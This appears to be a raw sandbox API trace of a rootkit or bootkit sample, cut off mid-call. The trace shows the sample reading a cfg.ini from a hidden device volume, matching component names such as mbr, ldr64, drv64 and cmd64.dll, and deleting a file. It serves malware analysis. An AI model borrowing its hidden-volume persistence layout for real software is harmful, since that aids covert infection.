[0120.213] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.213] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.213] KeEnterCriticalRegion () [0120.213] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.213] ExFreePoolWithTag (P=0xfffffa8003bcda60, Tag=0x0) [0120.213] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.213] KeLeaveCriticalRegion () [0120.213] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.213] ReleaseMutex (hMutex=0xf0) returned 1 [0120.213] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.213] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0120.213] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.213] KeEnterCriticalRegion () [0120.213] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.213] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.213] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.213] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.213] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.213] IdePortDispatch () returned 0x103 [0120.213] KeWaitForMutexObject () returned 0x0 [0120.213] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.213] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.213] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.214] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.214] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.214] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc2340 [0120.214] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.214] KeLeaveCriticalRegion () [0120.214] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.214] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.214] KeEnterCriticalRegion () [0120.214] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.214] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.214] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.214] KeLeaveCriticalRegion () [0120.214] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.214] KeEnterCriticalRegion () [0120.214] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.214] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.214] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.214] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.214] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.214] IdePortDispatch () returned 0x103 [0120.214] KeWaitForMutexObject () returned 0x0 [0120.214] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.214] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.214] KeLeaveCriticalRegion () [0120.214] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.214] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.214] KeEnterCriticalRegion () [0120.214] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.214] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003417000 [0120.214] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.214] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.214] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.214] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.214] IdePortDispatch () returned 0x103 [0120.214] KeWaitForMutexObject () returned 0x0 [0120.215] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.215] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.215] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.215] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.215] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.215] IdePortDispatch () returned 0x103 [0120.215] KeWaitForMutexObject () returned 0x0 [0120.215] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.215] KeLeaveCriticalRegion () [0120.215] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.215] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.215] KeEnterCriticalRegion () [0120.215] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.215] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.215] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.215] KeLeaveCriticalRegion () [0120.216] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.216] KeEnterCriticalRegion () [0120.216] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.216] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.216] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbcc70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.216] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.216] KeLeaveCriticalRegion () [0120.216] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.216] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.216] KeEnterCriticalRegion () [0120.216] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.216] ExFreePoolWithTag (P=0xfffffa8003bc2340, Tag=0x0) [0120.216] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.216] KeLeaveCriticalRegion () [0120.216] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.216] ReleaseMutex (hMutex=0xf0) returned 1 [0120.216] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0120.216] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0120.216] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0120.216] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.216] KeEnterCriticalRegion () [0120.216] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.216] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.216] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.216] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.216] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.216] IdePortDispatch () returned 0x103 [0120.216] KeWaitForMutexObject () returned 0x0 [0120.216] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.216] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.216] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.216] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.216] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.216] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.216] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.216] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.216] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.216] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.216] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.217] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.217] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.217] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.217] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.217] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.217] KeLeaveCriticalRegion () [0120.217] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.217] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0120.217] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.217] KeEnterCriticalRegion () [0120.217] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.217] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.217] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.217] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.217] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.217] IdePortDispatch () returned 0x103 [0120.217] KeWaitForMutexObject () returned 0x0 [0120.217] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.217] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.217] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.217] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.217] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.217] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.217] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.217] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.217] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.217] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.217] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.217] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.217] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.217] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.217] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.217] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.217] KeLeaveCriticalRegion () [0120.217] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.217] ReleaseMutex (hMutex=0x100) returned 1 [0120.217] Sleep (dwMilliseconds=0x2bf20) [0120.224] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6adb9cf0, dwHighDateTime=0x1d24fa4)) [0120.224] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0120.224] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.224] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.224] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.224] KeEnterCriticalRegion () [0120.224] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.224] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.224] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.224] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.224] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.224] IdePortDispatch () returned 0x103 [0120.224] KeWaitForMutexObject () returned 0x0 [0120.224] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.224] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.224] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.224] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.224] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.224] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80033552e0 [0120.224] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.224] KeLeaveCriticalRegion () [0120.224] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.224] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.224] KeEnterCriticalRegion () [0120.224] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.224] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.224] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.224] KeLeaveCriticalRegion () [0120.225] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.225] KeEnterCriticalRegion () [0120.225] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.225] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.225] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.225] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.225] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.225] IdePortDispatch () returned 0x103 [0120.225] KeWaitForMutexObject () returned 0x0 [0120.225] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.225] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.225] KeLeaveCriticalRegion () [0120.225] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.225] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.225] KeEnterCriticalRegion () [0120.225] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.225] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800341a000 [0120.225] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.225] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.225] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.225] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.225] IdePortDispatch () returned 0x103 [0120.225] KeWaitForMutexObject () returned 0x0 [0120.225] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.225] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.225] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.225] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.225] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.225] IdePortDispatch () returned 0x103 [0120.226] KeWaitForMutexObject () returned 0x0 [0120.226] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.226] KeLeaveCriticalRegion () [0120.226] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.226] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.226] KeEnterCriticalRegion () [0120.226] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.226] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.226] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.226] KeLeaveCriticalRegion () [0120.226] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.226] KeEnterCriticalRegion () [0120.226] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.226] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.226] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbca80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.226] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.226] KeLeaveCriticalRegion () [0120.226] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.226] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.226] KeEnterCriticalRegion () [0120.226] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.226] ExFreePoolWithTag (P=0xfffffa80033552e0, Tag=0x0) [0120.226] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.226] KeLeaveCriticalRegion () [0120.226] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.227] ReleaseMutex (hMutex=0xf0) returned 1 [0120.227] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.227] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.227] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.227] KeEnterCriticalRegion () [0120.227] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.227] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.227] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.227] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.227] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.227] IdePortDispatch () returned 0x103 [0120.227] KeWaitForMutexObject () returned 0x0 [0120.227] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.227] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.227] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.227] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.227] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.227] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcd620 [0120.227] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.227] KeLeaveCriticalRegion () [0120.227] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.227] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.227] KeEnterCriticalRegion () [0120.227] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.227] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.227] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.227] KeLeaveCriticalRegion () [0120.227] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.227] KeEnterCriticalRegion () [0120.227] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.227] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.227] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.227] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.227] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.227] IdePortDispatch () returned 0x103 [0120.228] KeWaitForMutexObject () returned 0x0 [0120.228] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.228] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.228] KeLeaveCriticalRegion () [0120.228] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.228] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.228] KeEnterCriticalRegion () [0120.228] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: 